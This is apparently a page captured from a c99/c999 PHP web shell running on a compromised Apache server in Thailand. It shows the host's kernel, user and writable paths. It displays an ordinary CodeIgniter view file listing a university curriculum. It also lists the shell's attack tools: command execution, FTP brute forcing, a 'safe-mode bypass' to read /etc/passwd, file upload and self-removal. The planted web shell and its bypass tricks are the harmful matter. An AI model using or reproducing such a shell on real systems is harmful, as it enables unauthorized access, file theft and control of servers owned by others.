!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_g_curriculums.php (6.41 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= isset($qu_cfg) ? $qu_cfg->row() : NULL;
$row_cur = isset($qu_cur) ? $qu_cur->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
                <td align="center">
                <?php echo form_open($this->config->item("rg_folder")."general/curs", array("name" => "myform""id" => "myform"));?>
                <br>
                    <span class="h error">หลักสูตรที่เปิดสอน</span><br>
                    <table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
                        <tr>
                            <td><br /></td>
                        </tr>
                        <tr>
                            <td><table class="szone">
                                <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                                    <td class="coltd_szone"><span>หลักสูตร</span></td>
                                    <td>
<?php
                                    $js 
"id=\"curId\" onChange=\"sendPost('hidform', {'curId':this.value,'typeLang':'T1'}, '".site_url($this->config->item('rg_folder').'general/curs')."')\"";
                                    echo 
form_dropdown('curId'$rs_cur$curId$js);
?>
                                    </td>
                                </tr>
                                <tr bgcolor="<?php echo setValue('cfgBgClSwapTr',$row_cfg);?>">
                                    <td class="coltd_szone"><span>ภาษา</span>
                                    <td>
                                    <span class="hand" onClick="sendPost('hidform', {'curId':jQuery('#curId').val(),'typeLang':'T1'}, '<?php echo site_url($this->config->item('rg_folder').'general/curs');?>')">ไทย - เลขอารบิก</span>
                                    <br />
                                    <span class="hand" onClick="sendPost('hidform', {'curId':jQuery('#curId').val(),'typeLang':'T2'}, '<?php echo site_url($this->config->item('rg_folder').'general/curs');?>')">ไทย - เลขไทย</span>
                                    <br />
                                    <span class="hand" onClick="sendPost('hidform', {'curId':jQuery('#curId').val(),'typeLang':'E'}, '<?php echo site_url($this->config->item('rg_folder').'general/curs');?>')">อังกฤษ</span></span></td>
                                </tr>
                            </table></td>
                        </tr>
<?php
                        
if ($curId) {
?>
                        <tr>
                            <td align="center"><br><table width="100%" align="left">
                                <tr>
                                    <td colspan="4" height="22"><span class="fontF error">โครงสร้างหลักสูตร</span></td>
                                </tr>
                                <tr>
                                    <td colspan="4" height="22"><span class="fontH"><b>หลักสูตร : </b><?php echo ($typeLang == 'E') ? $row_cur->curNameE : (($typeLang=="T1") ? th2a(explodeSquare($row_cur->curName)) : a2th(explodeSquare($row_cur->curName)));?></span></td>
                                </tr>
                                <tr>
                                    <td colspan="4" height="22"><span class="fontH"><b>ระดับการศึกษา : </b><?php echo ($typeLang == 'E') ? $row_cur->levelNameEng : (($typeLang=="T1") ? th2a($row_cur->levelName) : a2th($row_cur->levelName));?></span></td>
                                </tr>
                                <tr>
                                    <td colspan="4" height="22"><span class="fontH"><b>จำนวนหน่วยกิตที่เรียน : </b><?php echo ($typeLang=="T2") ? a2th($row_cur->curMinCredit) : $row_cur->curMinCredit;?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b> หลักสูตร : </b><?php echo ($typeLang=="T2") ? a2th($row_cur->curNumStudyY) : $row_cur->curNumStudyY;?> ปี&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b> จำนวนปีที่ศึกษาสูงสุด : </b><?php echo ($typeLang=="T2") ? a2th($row_cur->curMaxStudyY) : $row_cur->curMaxStudyY;?> ปี</span></td>
                                </tr>
                                <tr>
                                    <td><br /></td>
                                </tr>
<?php
                                
if ($rs) {
                                    foreach (
$rs as $key => $val) {
                                        
$row_cd $rs[$key]['qu_cd']->row();
?>
                                <tr>
                                    <td colspan="4" height="22">
                                    <span class="fontH error">
                                    <?php echo ($rs[$key]['cdType']=='H') ? "<b>" '';?>
                                    <?php echo (($typeLang=="T2") ? a2th($rs[$key]['seq']) : $rs[$key]['seq']).". ";?>
                                    <?php echo ($typeLang == 'E') ? $row_cd->cdNameE : (($typeLang=="T1") ? th2a($row_cd->cdName) : a2th($row_cd->cdName));?>
                                    <?php echo ", จำนวน ".(($typeLang=="T2") ? a2th($rs[$key]['credit']) : th2a($rs[$key]['credit']))." หน่วยกิต";?>
                                    <?php echo ($rs[$key]['cdType']=='H') ? "</b>" '';?>
                                    </span></td>
                                </tr>
<?php
                                        
if (isset($rs[$key]['rs_pcr'])) {
                                            
$rs_pcr $rs[$key]['rs_pcr'];
?>
                                <tr bgcolor="<?php echo $this->config->item("rg_table_end");?>">
                                    <td align="center" width="120px" height="22px">
                                    <span style="color:<?php echo setValue('cfgFnClHeadTb',$row_cfg);?>"><b>รหัสวิชา</b></span></td>
                                    <td align="center"><span style="color:<?php echo setValue('cfgFnClHeadTb',$row_cfg);?>"><b>รายวิชา</b></span></td>
                                    <td align="center" width="100px"><span style="color:<?php echo setValue('cfgFnClHeadTb',$row_cfg);?>"><b>หน่วยกิต</b></span></td>
                                </tr>
<?php
                                            
if ($rs_pcr->num_rows()) {
                                                foreach (
$rs[$key]['rs_pcr']->result() as $row_pcr) {
?>
                                <tr>
                                    <td height="22">
                                    <span><b>&nbsp;<?php echo ($typeLang == 'E') ? $row_pcr->crsCodeE."eng" : (($typeLang=="T1") ? th2a($row_pcr->crsCode) : a2th($row_pcr->crsCode));?></b></span></td>
                                    <td><span>&nbsp;<?php echo ($typeLang == 'E') ? explodeSquare($row_pcr->crsNameE) : (($typeLang=="T1") ? th2a(explodeSquare($row_pcr->crsName)) : a2th(explodeSquare($row_pcr->crsName)));?></span></td>
                                    <td align="center"><span><?php echo (($typeLang=="T2") ? a2th($row_pcr->crsUnit) : th2a($row_pcr->crsUnit));?></span></td>
                                </tr>
<?php
                                                
}
                                            } else {
?>
                                <tr>
                                    <td height="22" colspan="3" align="center"><span style="color:<?php echo setValue('cfgFnClErrSpec',$row_cfg);?>">** ไม่ปรากฏรายการรายวิชาในหมวดวิชา หรือ กลุ่มวิชาดังกล่าว **</span></td>
                                </tr>
<?php
                                            
}
?>
                                <tr bgcolor="<?php echo setValue('cfgBgClTrAndTd',$row_cfg);?>">
                                    <td height="22" colspan="3"></td>
                                </tr>
                                <tr>
                                    <td colspan="3">&nbsp;</td>
                                </tr>
<?php
                                        
}    // end if rs_pcr
                                    
}    // end foreach
                                
}    // end if rs
?>
                            </table></td>
                        </tr>
<?php
                        
}    // end if curId
?>
                    </table>
                <?php echo form_close();?></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]--